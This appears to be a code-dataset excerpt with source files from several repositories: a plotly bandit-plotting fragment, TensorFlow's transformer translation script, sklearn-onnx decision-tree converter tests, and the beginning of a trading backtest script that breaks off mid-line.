\"\"\"\n Plot the pdf function of the current timestamp.\n Parameters\n ----------\n label : str\n The label of the arm that needs to be plotted. If None the distributions of all labels will be plotted.\n range_of_plot: tuple\n The range of figure for which the plot needs to be shown.\n plot_frequency: int\n The frequency of plot on the figure.\n\n Returns\n -------\n None\n \"\"\"\n fig = go.Figure()\n if label is None:\n for label_name, dist_args in zip(self.arm_labels, self.arm_dist_params):\n hexadecimal = [\"#\" + ''.join([random.choice('ABCDEF0123456789')\n for _ in range(6)])][0] # choosing random colors for each label\n distribution_func = norm(*dist_args) # get the distribution\n fig.add_trace(go.Scatter(visible=True, # create the figure of distribution's pdf\n line=dict(color=hexadecimal, width=6),\n name=label_name,\n x=np.linspace(*range_of_plot, 100),\n y=distribution_func.pdf(np.linspace(*range_of_plot, plot_frequency))))\n\n else:\n ind_of_arm = self.arm_labels.index(label)\n hexadecimal = [\"#\" + ''.join([random.choice('ABCDEF0123456789') for _ in range(6)])][0]\n dist_args = self.arm_dist_params[ind_of_arm]\n distribution_func = norm(*dist_args)\n fig.add_trace(go.Scatter(visible=True,\n line=dict(color=hexadecimal, width=6),\n name=label,\n x=np.linspace(*range_of_plot, 100),\n y=distribution_func.pdf(np.linspace(*range_of_plot, plot_frequency))))\n fig.show()\n\n def get_best_reward(self, n: int = 200):\n \"\"\"\n Get best reward along n predictions.\n Parameters\n ----------\n n : int\n The number of iterations for prediction.\n Returns\n -------\n str\n The list of best rewards for each iteration is saved to self.predicted_best_rewards\n and the best reward is returned.\n \"\"\"\n predicts_best = [self.predict() for _ in range(n)] # do prediction n times\n self.predicted_best_rewards = predicts_best\n return mode(predicts_best)\n\n def plot_best_rewards(self):\n \"\"\"\n Plot the histogram of best rewards for n predicts.\n Returns\n -------\n go.Figure\n The histogram of best rewards\n \"\"\"\n predicts_best = self.predicted_best_rewards # get the n predictions from best reward calculation\n fig = go.Figure(data=[go.Histogram(x=predicts_best)]) # make a histogram\n return fig\n" ]
[ [ "numpy.random.normal", "numpy.linspace", "scipy.stats.norm" ] ]
florischabert/models
[ "add588d68888e8ba869ffce17d214c48e41ca019" ]
[ "official/transformer/translate.py" ]
[ "# Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Translate text or files using trained transformer model.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\n\n# pylint: disable=g-bad-import-order\nfrom six.moves import xrange # pylint: disable=redefined-builtin\nfrom absl import app as absl_app\nfrom absl import flags\nimport tensorflow as tf\n# pylint: enable=g-bad-import-order\n\nfrom official.transformer.utils import tokenizer\nfrom official.utils.flags import core as flags_core\n\n_DECODE_BATCH_SIZE = 32\n_EXTRA_DECODE_LENGTH = 100\n_BEAM_SIZE = 4\n_ALPHA = 0.6\n\n\ndef _get_sorted_inputs(filename):\n \"\"\"Read and sort lines from the file sorted by decreasing length.\n\n Args:\n filename: String name of file to read inputs from.\n Returns:\n Sorted list of inputs, and dictionary mapping original index->sorted index\n of each element.\n \"\"\"\n with tf.gfile.Open(filename) as f:\n records = f.read().split(\"\\n\")\n inputs = [record.strip() for record in records]\n if not inputs[-1]:\n inputs.pop()\n\n input_lens = [(i, len(line.split())) for i, line in enumerate(inputs)]\n sorted_input_lens = sorted(input_lens, key=lambda x: x[1], reverse=True)\n\n sorted_inputs = []\n sorted_keys = {}\n for i, (index, _) in enumerate(sorted_input_lens):\n sorted_inputs.append(inputs[index])\n sorted_keys[index] = i\n return sorted_inputs, sorted_keys\n\n\ndef _encode_and_add_eos(line, subtokenizer):\n \"\"\"Encode line with subtokenizer, and add EOS id to the end.\"\"\"\n return subtokenizer.encode(line) + [tokenizer.EOS_ID]\n\n\ndef _trim_and_decode(ids, subtokenizer):\n \"\"\"Trim EOS and PAD tokens from ids, and decode to return a string.\"\"\"\n try:\n index = list(ids).index(tokenizer.EOS_ID)\n return subtokenizer.decode(ids[:index])\n except ValueError: # No EOS found in sequence\n return subtokenizer.decode(ids)\n\n\ndef translate_file(\n estimator, subtokenizer, input_file, output_file=None,\n print_all_translations=True):\n \"\"\"Translate lines in file, and save to output file if specified.\n\n Args:\n estimator: tf.Estimator used to generate the translations.\n subtokenizer: Subtokenizer object for encoding and decoding source and\n translated lines.\n input_file: file containing lines to translate\n output_file: file that stores the generated translations.\n print_all_translations: If true, all translations are printed to stdout.\n\n Raises:\n ValueError: if output file is invalid.\n \"\"\"\n batch_size = _DECODE_BATCH_SIZE\n\n # Read and sort inputs by length. Keep dictionary (original index-->new index\n # in sorted list) to write translations in the original order.\n sorted_inputs, sorted_keys = _get_sorted_inputs(input_file)\n num_decode_batches = (len(sorted_inputs) - 1) // batch_size + 1\n\n def input_generator():\n \"\"\"Yield encoded strings from sorted_inputs.\"\"\"\n for i, line in enumerate(sorted_inputs):\n if i % batch_size == 0:\n batch_num = (i // batch_size) + 1\n\n tf.logging.info(\"Decoding batch %d out of %d.\" %\n (batch_num, num_decode_batches))\n yield _encode_and_add_eos(line, subtokenizer)\n\n def input_fn():\n \"\"\"Created batched dataset of encoded inputs.\"\"\"\n ds = tf.data.Dataset.from_generator(\n input_generator, tf.int64, tf.TensorShape([None]))\n ds = ds.padded_batch(batch_size, [None])\n return ds\n\n translations = []\n for i, prediction in enumerate(estimator.predict(input_fn)):\n translation = _trim_and_decode(prediction[\"outputs\"], subtokenizer)\n translations.append(translation)\n\n if print_all_translations:\n tf.logging.info(\"Translating:\\n\\tInput: %s\\n\\tOutput: %s\" %\n (sorted_inputs[i], translation))\n\n # Write translations in the order they appeared in the original file.\n if output_file is not None:\n if tf.gfile.IsDirectory(output_file):\n raise ValueError(\"File output is a directory, will not save outputs to \"\n \"file.\")\n tf.logging.info(\"Writing to file %s\" % output_file)\n with tf.gfile.Open(output_file, \"w\") as f:\n for index, key in enumerate(sorted_keys):\n f.write(\"%s\\n\" % translations[key])\n\n\ndef translate_text(estimator, subtokenizer, txt):\n \"\"\"Translate a single string.\"\"\"\n encoded_txt = _encode_and_add_eos(txt, subtokenizer)\n\n def input_fn():\n ds = tf.data.Dataset.from_tensors(encoded_txt)\n ds = ds.batch(_DECODE_BATCH_SIZE)\n return ds\n\n predictions = estimator.predict(input_fn)\n translation = next(predictions)[\"outputs\"]\n translation = _trim_and_decode(translation, subtokenizer)\n tf.logging.info(\"Translation of \\\"%s\\\": \\\"%s\\\"\" % (txt, translation))\n\n\ndef main(unused_argv):\n from official.transformer import transformer_main\n\n tf.logging.set_verbosity(tf.logging.INFO)\n\n if FLAGS.text is None and FLAGS.file is None:\n tf.logging.warn(\"Nothing to translate. Make sure to call this script using \"\n \"flags --text or --file.\")\n return\n\n subtokenizer = tokenizer.Subtokenizer(FLAGS.vocab_file)\n\n # Set up estimator and params\n params = transformer_main.PARAMS_MAP[FLAGS.param_set]\n params[\"beam_size\"] = _BEAM_SIZE\n params[\"alpha\"] = _ALPHA\n params[\"extra_decode_length\"] = _EXTRA_DECODE_LENGTH\n params[\"batch_size\"] = _DECODE_BATCH_SIZE\n estimator = tf.estimator.Estimator(\n model_fn=transformer_main.model_fn, model_dir=FLAGS.model_dir,\n params=params)\n\n if FLAGS.text is not None:\n tf.logging.info(\"Translating text: %s\" % FLAGS.text)\n translate_text(estimator, subtokenizer, FLAGS.text)\n\n if FLAGS.file is not None:\n input_file = os.path.abspath(FLAGS.file)\n tf.logging.info(\"Translating file: %s\" % input_file)\n if not tf.gfile.Exists(FLAGS.file):\n raise ValueError(\"File does not exist: %s\" % input_file)\n\n output_file = None\n if FLAGS.file_out is not None:\n output_file = os.path.abspath(FLAGS.file_out)\n tf.logging.info(\"File output specified: %s\" % output_file)\n\n translate_file(estimator, subtokenizer, input_file, output_file)\n\n\ndef define_translate_flags():\n \"\"\"Define flags used for translation script.\"\"\"\n # Model flags\n flags.DEFINE_string(\n name=\"model_dir\", short_name=\"md\", default=\"/tmp/transformer_model\",\n help=flags_core.help_wrap(\n \"Directory containing Transformer model checkpoints.\"))\n flags.DEFINE_enum(\n name=\"param_set\", short_name=\"mp\", default=\"big\",\n enum_values=[\"base\", \"big\"],\n help=flags_core.help_wrap(\n \"Parameter set to use when creating and training the model. The \"\n \"parameters define the input shape (batch size and max length), \"\n \"model configuration (size of embedding, # of hidden layers, etc.), \"\n \"and various other settings. The big parameter set increases the \"\n \"default batch size, embedding/hidden size, and filter size. For a \"\n \"complete list of parameters, please see model/model_params.py.\"))\n flags.DEFINE_string(\n name=\"vocab_file\", short_name=\"vf\", default=None,\n help=flags_core.help_wrap(\n \"Path to subtoken vocabulary file. If data_download.py was used to \"\n \"download and encode the training data, look in the data_dir to find \"\n \"the vocab file.\"))\n flags.mark_flag_as_required(\"vocab_file\")\n\n flags.DEFINE_string(\n name=\"text\", default=None,\n help=flags_core.help_wrap(\n \"Text to translate. Output will be printed to console.\"))\n flags.DEFINE_string(\n name=\"file\", default=None,\n help=flags_core.help_wrap(\n \"File containing text to translate. Translation will be printed to \"\n \"console and, if --file_out is provided, saved to an output file.\"))\n flags.DEFINE_string(\n name=\"file_out\", default=None,\n help=flags_core.help_wrap(\n \"If --file flag is specified, save translation to this file.\"))\n\n\nif __name__ == \"__main__\":\n define_translate_flags()\n FLAGS = flags.FLAGS\n absl_app.run(main)\n" ]
[ [ "tensorflow.gfile.IsDirectory", "tensorflow.logging.set_verbosity", "tensorflow.logging.warn", "tensorflow.gfile.Open", "tensorflow.TensorShape", "tensorflow.gfile.Exists", "tensorflow.logging.info", "tensorflow.estimator.Estimator", "tensorflow.data.Dataset.from_tensors" ] ]
janjagusch/sklearn-onnx
[ "cac2081b5c20695941631bb0342899b6887c106b" ]
[ "tests/test_sklearn_decision_tree_converters.py" ]
[ "# SPDX-License-Identifier: Apache-2.0\n\n\nimport unittest\nfrom distutils.version import StrictVersion\nimport numpy as np\nfrom numpy.testing import assert_almost_equal\nfrom pandas import DataFrame\nfrom sklearn.tree import (\n DecisionTreeClassifier, DecisionTreeRegressor,\n ExtraTreeClassifier, ExtraTreeRegressor\n)\nfrom sklearn.datasets import make_classification\nfrom skl2onnx.common.data_types import onnx_built_with_ml\nfrom skl2onnx.common.data_types import (\n BooleanTensorType,\n FloatTensorType,\n Int64TensorType,\n)\nfrom skl2onnx import convert_sklearn\nfrom onnxruntime import InferenceSession, __version__\nfrom test_utils import (\n binary_array_to_string,\n dump_one_class_classification,\n dump_binary_classification,\n dump_data_and_model,\n dump_multiple_classification,\n dump_multiple_regression,\n dump_single_regression,\n fit_classification_model,\n fit_multilabel_classification_model,\n fit_regression_model,\n path_to_leaf,\n TARGET_OPSET,\n)\n\n\nclass TestSklearnDecisionTreeModels(unittest.TestCase):\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n @unittest.skipIf(\n StrictVersion(__version__) <= StrictVersion(\"0.3.0\"),\n reason=\"No suitable kernel definition found \"\n \"for op Cast(9) (node Cast)\")\n def test_decisiontree_classifier1(self):\n model = DecisionTreeClassifier(max_depth=2)\n X, y = make_classification(10, n_features=4, random_state=42)\n X = X[:, :2]\n model.fit(X, y)\n initial_types = [('input', FloatTensorType((None, X.shape[1])))]\n model_onnx = convert_sklearn(model, initial_types=initial_types,\n target_opset=TARGET_OPSET)\n sess = InferenceSession(model_onnx.SerializeToString())\n res = sess.run(None, {'input': X.astype(np.float32)})\n pred = model.predict_proba(X)\n if res[1][0][0] != pred[0, 0]:\n raise AssertionError(\"{}\\n--\\n{}\".format(pred, DataFrame(res[1])))\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n def test_decisiontree_regressor0(self):\n model = DecisionTreeRegressor(max_depth=2)\n X, y = make_classification(10, n_features=4, random_state=42)\n X = X[:, :2]\n model.fit(X, y)\n initial_types = [('input', FloatTensorType((None, X.shape[1])))]\n model_onnx = convert_sklearn(model, initial_types=initial_types,\n target_opset=TARGET_OPSET)\n sess = InferenceSession(model_onnx.SerializeToString())\n res = sess.run(None, {'input': X.astype(np.float32)})\n pred = model.predict(X)\n if res[0][0, 0] != pred[0]:\n raise AssertionError(\"{}\\n--\\n{}\".format(pred, DataFrame(res[1])))\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n @unittest.skipIf(TARGET_OPSET < 12, reason=\"LabelEncoder\")\n def test_decisiontree_regressor_decision_path(self):\n model = DecisionTreeRegressor(max_depth=2)\n X, y = make_classification(10, n_features=4, random_state=42)\n X = X[:, :2]\n model.fit(X, y)\n initial_types = [('input', FloatTensorType((None, X.shape[1])))]\n model_onnx = convert_sklearn(\n model, initial_types=initial_types,\n options={id(model): {'decision_path': True}},\n target_opset=TARGET_OPSET)\n sess = InferenceSession(model_onnx.SerializeToString())\n res = sess.run(None, {'input': X.astype(np.float32)})\n pred = model.predict(X)\n assert_almost_equal(pred, res[0].ravel())\n dec = model.decision_path(X)\n exp = binary_array_to_string(dec.todense())\n assert exp == res[1].ravel().tolist()\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n @unittest.skipIf(TARGET_OPSET < 12, reason=\"LabelEncoder\")\n def test_decisiontree_regressor_decision_leaf(self):\n model = DecisionTreeRegressor(max_depth=2)\n X, y = make_classification(10, n_features=4, random_state=42)\n X = X[:, :2]\n model.fit(X, y)\n initial_types = [('input', FloatTensorType((None, X.shape[1])))]\n model_onnx = convert_sklearn(\n model, initial_types=initial_types,\n options={id(model): {'decision_leaf': True}})\n sess = InferenceSession(model_onnx.SerializeToString())\n res = sess.run(None, {'input': X.astype(np.float32)})\n pred = model.predict(X)\n assert_almost_equal(pred, res[0].ravel())\n dec = model.decision_path(X)\n exp = path_to_leaf(model.tree_, dec.todense())\n assert exp.tolist() == res[1].ravel().tolist()\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n @unittest.skipIf(TARGET_OPSET < 12, reason=\"LabelEncoder\")\n def test_decisiontree_regressor_decision_path_leaf(self):\n model = DecisionTreeRegressor(max_depth=2)\n X, y = make_classification(10, n_features=4, random_state=42)\n X = X[:, :2]\n model.fit(X, y)\n initial_types = [('input', FloatTensorType((None, X.shape[1])))]\n model_onnx = convert_sklearn(\n model, initial_types=initial_types,\n options={id(model): {'decision_leaf': True,\n 'decision_path': True}})\n sess = InferenceSession(model_onnx.SerializeToString())\n res = sess.run(None, {'input': X.astype(np.float32)})\n pred = model.predict(X)\n assert_almost_equal(pred, res[0].ravel())\n dec = model.decision_path(X)\n exp_leaf = path_to_leaf(model.tree_, dec.todense())\n exp_path = binary_array_to_string(dec.todense())\n assert exp_path == res[1].ravel().tolist()\n assert exp_leaf.tolist() == res[2].ravel().tolist()\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n @unittest.skipIf(TARGET_OPSET < 12, reason=\"LabelEncoder\")\n def test_decisiontree_classifier_decision_path(self):\n model = DecisionTreeClassifier(max_depth=2)\n X, y = make_classification(10, n_features=4, random_state=42)\n X = X[:, :2]\n model.fit(X, y)\n initial_types = [('input', FloatTensorType((None, X.shape[1])))]\n model_onnx = convert_sklearn(\n model, initial_types=initial_types,\n options={id(model): {'decision_path': True, 'zipmap': False}},\n target_opset=TARGET_OPSET)\n sess = InferenceSession(model_onnx.SerializeToString())\n res = sess.run(None, {'input': X.astype(np.float32)})\n pred = model.predict(X)\n assert_almost_equal(pred, res[0].ravel())\n prob = model.predict_proba(X)\n assert_almost_equal(prob, res[1])\n dec = model.decision_path(X)\n exp = binary_array_to_string(dec.todense())\n assert exp == res[2].ravel().tolist()\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n @unittest.skipIf(TARGET_OPSET < 12, reason=\"LabelEncoder\")\n def test_decisiontree_classifier_decision_leaf(self):\n model = DecisionTreeClassifier(max_depth=2)\n X, y = make_classification(10, n_features=4, random_state=42)\n X = X[:, :2]\n model.fit(X, y)\n initial_types = [('input', FloatTensorType((None, X.shape[1])))]\n model_onnx = convert_sklearn(\n model, initial_types=initial_types,\n options={id(model): {'decision_leaf': True, 'zipmap': False}})\n sess = InferenceSession(model_onnx.SerializeToString())\n res = sess.run(None, {'input': X.astype(np.float32)})\n pred = model.predict(X)\n assert_almost_equal(pred, res[0].ravel())\n prob = model.predict_proba(X)\n assert_almost_equal(prob, res[1])\n dec = model.decision_path(X)\n exp = path_to_leaf(model.tree_, dec.todense())\n assert exp.tolist() == res[2].ravel().tolist()\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n @unittest.skipIf(TARGET_OPSET < 12, reason=\"LabelEncoder\")\n def test_decisiontree_classifier_decision_path_leaf(self):\n model = DecisionTreeClassifier(max_depth=2)\n X, y = make_classification(10, n_features=4, random_state=42)\n X = X[:, :2]\n model.fit(X, y)\n initial_types = [('input', FloatTensorType((None, X.shape[1])))]\n model_onnx = convert_sklearn(\n model, initial_types=initial_types,\n options={id(model): {'decision_leaf': True, 'decision_path': True,\n 'zipmap': False}})\n sess = InferenceSession(model_onnx.SerializeToString())\n res = sess.run(None, {'input': X.astype(np.float32)})\n pred = model.predict(X)\n assert_almost_equal(pred, res[0].ravel())\n prob = model.predict_proba(X)\n assert_almost_equal(prob, res[1])\n\n dec = model.decision_path(X)\n\n exp_path = binary_array_to_string(dec.todense())\n exp_leaf = path_to_leaf(model.tree_, dec.todense())\n assert exp_path == res[2].ravel().tolist()\n assert exp_leaf.tolist() == res[3].ravel().tolist()\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n def test_decision_tree_classifier(self):\n model = DecisionTreeClassifier()\n dump_one_class_classification(\n model,\n # Operator cast-1 is not implemented in onnxruntime\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.3') or \"\n \"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\",\n )\n dump_binary_classification(\n model,\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.3') or \"\n \"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\",\n )\n dump_multiple_classification(\n model,\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.3') or \"\n \"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\")\n dump_multiple_classification(\n model,\n label_uint8=True,\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.3') or \"\n \"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\")\n dump_multiple_classification(\n model,\n label_string=True,\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.3') or \"\n \"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\")\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n def test_extra_tree_classifier(self):\n model = ExtraTreeClassifier()\n dump_one_class_classification(\n model,\n # Operator cast-1 is not implemented in onnxruntime\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.3') or \"\n \"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\",\n )\n dump_binary_classification(\n model,\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.3') or \"\n \"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\",\n )\n dump_multiple_classification(\n model,\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.3') or \"\n \"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\",\n )\n\n def test_decision_tree_regressor(self):\n model = DecisionTreeRegressor()\n dump_single_regression(\n model,\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.2')\",\n )\n dump_multiple_regression(\n model,\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.2')\",\n )\n\n def test_extra_tree_regressor(self):\n model = ExtraTreeRegressor()\n dump_single_regression(\n model,\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.2')\",\n )\n dump_multiple_regression(\n model,\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.2')\",\n )\n\n def test_decision_tree_regressor_int(self):\n model, X = fit_regression_model(\n DecisionTreeRegressor(random_state=42), is_int=True)\n model_onnx = convert_sklearn(\n model,\n \"decision tree regression\",\n [(\"input\", Int64TensorType([None, X.shape[1]]))],\n )\n self.assertIsNotNone(model_onnx)\n dump_data_and_model(\n X,\n model,\n model_onnx,\n basename=\"SklearnDecisionTreeRegressionInt\",\n allow_failure=\"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\")\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n def test_model_multi_class_nocl(self):\n model, X = fit_classification_model(\n DecisionTreeClassifier(),\n 4, label_string=True)\n model_onnx = convert_sklearn(\n model,\n \"multi-class nocl\",\n [(\"input\", FloatTensorType([None, X.shape[1]]))],\n options={id(model): {'nocl': True}})\n self.assertIsNotNone(model_onnx)\n sonx = str(model_onnx)\n assert 'classlabels_strings' not in sonx\n assert 'cl0' not in sonx\n dump_data_and_model(\n X, model, model_onnx, classes=model.classes_,\n basename=\"SklearnDTMultiNoCl\",\n allow_failure=\"StrictVersion(onnx.__version__)\"\n \" < StrictVersion('1.2') or \"\n \"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\")\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n def test_model_decision_tree_classifier_multilabel(self):\n model, X_test = fit_multilabel_classification_model(\n DecisionTreeClassifier(random_state=42))\n options = {id(model): {'zipmap': False}}\n model_onnx = convert_sklearn(\n model,\n \"scikit-learn DecisionTreeClassifier\",\n [(\"input\", FloatTensorType([None, X_test.shape[1]]))],\n options=options,\n target_opset=TARGET_OPSET\n )\n self.assertTrue(model_onnx is not None)\n assert 'zipmap' not in str(model_onnx).lower()\n dump_data_and_model(\n X_test,\n model,\n model_onnx,\n basename=\"SklearnDecisionTreeClassifierMultiLabel-Out0\",\n allow_failure=\"StrictVersion(\"\n \"onnxruntime.__version__) <= StrictVersion('0.2.1')\",\n )\n\n @unittest.skipIf(not onnx_built_with_ml(),\n reason=\"Requires ONNX-ML extension.\")\n def test_model_extra_tree_classifier_multilabel(self):\n model, X_test = fit_multilabel_classification_model(\n ExtraTreeClassifier(random_state=42))\n options = {id(model): {'zipmap': False}}\n model_onnx = convert_sklearn(\n model,\n \"scikit-learn ExtraTreeClassifier\",\n [(\"input\", FloatTensorType([None, X_test.shape[1]]))],\n options=options,\n target_opset=TARGET_OPSET\n )\n self.assertTrue(model_onnx is not None)\n assert 'zipmap' not in str(model_onnx).lower()\n dump_data_and_model(\n X_test,\n model,\n model_onnx,\n basename=\"SklearnExtraTreeClassifierMultiLabel-Out0\",\n allow_failure=\"StrictVersion(\"\n \"onnxruntime.__version__) <= StrictVersion('0.2.1')\",\n )\n\n def test_decision_tree_regressor_bool(self):\n model, X = fit_regression_model(\n DecisionTreeRegressor(random_state=42), is_bool=True)\n model_onnx = convert_sklearn(\n model,\n \"decision tree regressor\",\n [(\"input\", BooleanTensorType([None, X.shape[1]]))],\n )\n self.assertIsNotNone(model_onnx)\n dump_data_and_model(\n X,\n model,\n model_onnx,\n basename=\"SklearnDecisionTreeRegressionBool-Dec4\",\n allow_failure=\"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\")\n\n def test_extra_tree_regressor_bool(self):\n model, X = fit_regression_model(\n ExtraTreeRegressor(random_state=42), is_bool=True)\n model_onnx = convert_sklearn(\n model,\n \"extra tree regressor\",\n [(\"input\", BooleanTensorType([None, X.shape[1]]))],\n target_opset=TARGET_OPSET)\n self.assertIsNotNone(model_onnx)\n dump_data_and_model(\n X,\n model,\n model_onnx,\n basename=\"SklearnExtraTreeRegressionBool-Dec4\",\n allow_failure=\"StrictVersion(onnxruntime.__version__)\"\n \" <= StrictVersion('0.2.1')\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n" ]
[ [ "sklearn.tree.ExtraTreeClassifier", "numpy.testing.assert_almost_equal", "pandas.DataFrame", "sklearn.tree.ExtraTreeRegressor", "sklearn.tree.DecisionTreeClassifier", "sklearn.tree.DecisionTreeRegressor", "sklearn.datasets.make_classification" ] ]
flamingrickpat/genopt
[ "c2f34332e844039479ea8b4603ed7aa1c717a1aa" ]
[ "api/backtest_simple.py" ]
[ "import sys\nsys.path.append(\"../shared\")\nsys.path.append(\"\")\nimport logging\nimport numpy as np\nimport df_utils\nimport file_utils\nimport time\nimport pandas as pd\nfrom plotly.subplots import make_subplots\nfrom plotly.offline import plot\nimport plotly.graph_objects as go\nfrom sklearn.linear_model import LinearRegression\nfrom sqlalchemy import Column, Integer, String, Float\nfrom sqlalchemy.ext.declarative import declarative_base\n\nBase = declarative_base()\nlogger = logging.getLogger(__name__)\n\nNONE = 0\nLONG = 1\nSHORT = -1\nDEBUG = False\nDEVIATION_POW = 4\n\nif DEBUG:\n pass\n\n\"\"\"\n███████╗████████╗ █████╗ ████████╗██╗███████╗████████╗██╗ ██████╗███████╗\n██╔════╝╚══██╔══╝██╔══██╗╚══██╔══╝██║██╔════╝╚══██╔══╝██║██╔════╝██╔════╝\n███████╗ ██║ ███████║ ██║ ██║███████╗ ██║ ██║██║ ███████╗\n╚════██║ ██║ ██╔══██║ ██║ ██║╚════██║ ██║ ██║██║ ╚════██║\n███████║ ██║ ██║ ██║ ██║ ██║███████║ ██║ ██║╚██████╗███████║\n╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝\n\"\"\"\n\n\n\ndef _sortino_ratio(returns: pd.Series) -> float:\n \"\"\"Return the sortino ratio for a given series of a returns.\n\n References:\n - https://en.wikipedia.org/wiki/Sortino_ratio\n \"\"\"\n _target_returns = 0\n _risk_free_rate = 0\n\n downside_returns = returns.copy()\n downside_returns[returns < _target_returns] = returns ** 2\n\n expected_return = np.mean(returns)\n downside_std = np.sqrt(np.std(downside_returns))\n\n return (expected_return - _risk_free_rate + 1E-9) / (downside_std + 1E-9)\n\ndef _sortino_ratio_v2(returns) -> float:\n \"\"\"Return the sortino ratio for a given series of a returns.\n\n References:\n - https://en.wikipedia.org/wiki/Sortino_ratio\n \"\"\"\n _target_returns = 0\n _risk_free_rate = 0\n\n #downside_returns = np.copy(returns)\n downside_returns = np.where(returns < _target_returns, returns ** 2, returns)\n\n expected_return = np.mean(returns)\n downside_std = np.sqrt(np.std(downside_returns))\n\n return (expected_return - _risk_free_rate + 1E-9) / (downside_std + 1E-9)\n\ndef _sharpe_ratio(self, returns: pd.Series) -> float:\n \"\"\"Return the sharpe ratio for a given series of a returns.\n\n References:\n - https://en.wikipedia.org/wiki/Sharpe_ratio\n \"\"\"\n return (np.mean(returns) - self._risk_free_rate + 1E-9) / (np.std(returns) + 1E-9)\n\n\ndef _sharpe_ratio_v2(returns) -> float:\n _target_returns = 0\n _risk_free_rate = 0\n \"\"\"Return the sharpe ratio for a given series of a returns.\n\n References:\n - https://en.wikipedia.org/wiki/Sharpe_ratio\n \"\"\"\n return (np.mean(returns) - _risk_free_rate + 1E-9) / (np.std(returns) + 1E-9)\n\n\n\ndef linreg(list, forward=1):\n regression_model = LinearRegression()\n # print(row)\n index = np.arange(len(list))\n pred = np.arange(len(list) + forward)\n row = np.array(list)\n\n regression_model.fit(index.reshape(-1, 1), row.reshape(-1, 1))\n val = regression_model.predict(pred.reshape(-1, 1))[-1]\n return val.item()\n\ndef linreg_np(list, forward=1):\n regression_model = LinearRegression()\n # print(row)\n index = np.arange(len(list))\n pred = np.arange(len(list) + forward)\n row = list\n\n regression_model.fit(index.reshape(-1, 1), row.reshape(-1, 1))\n val = regression_model.predict(pred.reshape(-1, 1))[-1]\n return val.item()\n\n\n\n\"\"\"\n████████╗██████╗ █████╗ ██████╗ ███████╗\n╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██╔════╝\n ██║ ██████╔╝███████║██║ ██║█████╗ \n ██║ ██╔══██╗██╔══██║██║ ██║██╔══╝ \n ██║ ██║ ██║██║ ██║██████╔╝███████╗\n ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝\n\"\"\"\n\n\nclass Trade():\n def __init__(self, id, position, open_time, open_rate, open_fee, open_fee_pct, i):\n self.id = id\n self.position = position\n self.open_i = i\n self.close_i = 0\n self.open_time = open_time\n self.open_rate = open_rate\n self.open_fee = open_fee\n self.open_fee_pct = open_fee_pct\n self.close_time = None\n self.close_rate = None\n self.close_fee = None\n self.profit_pct = None\n self.profit_pip = None\n self.duration = None\n self.duration_candles = 0\n\n def close(self, close_time, close_rate, close_fee, close_fee_pct, pip_multiplier, i):\n self.close_time = close_time\n self.close_rate = close_rate\n self.close_fee = close_fee\n self.close_fee_pct = close_fee_pct\n self.close_i = i\n\n open_fee = (self.open_rate * self.open_fee_pct) + (self.open_fee)\n close_fee = (self.close_rate * 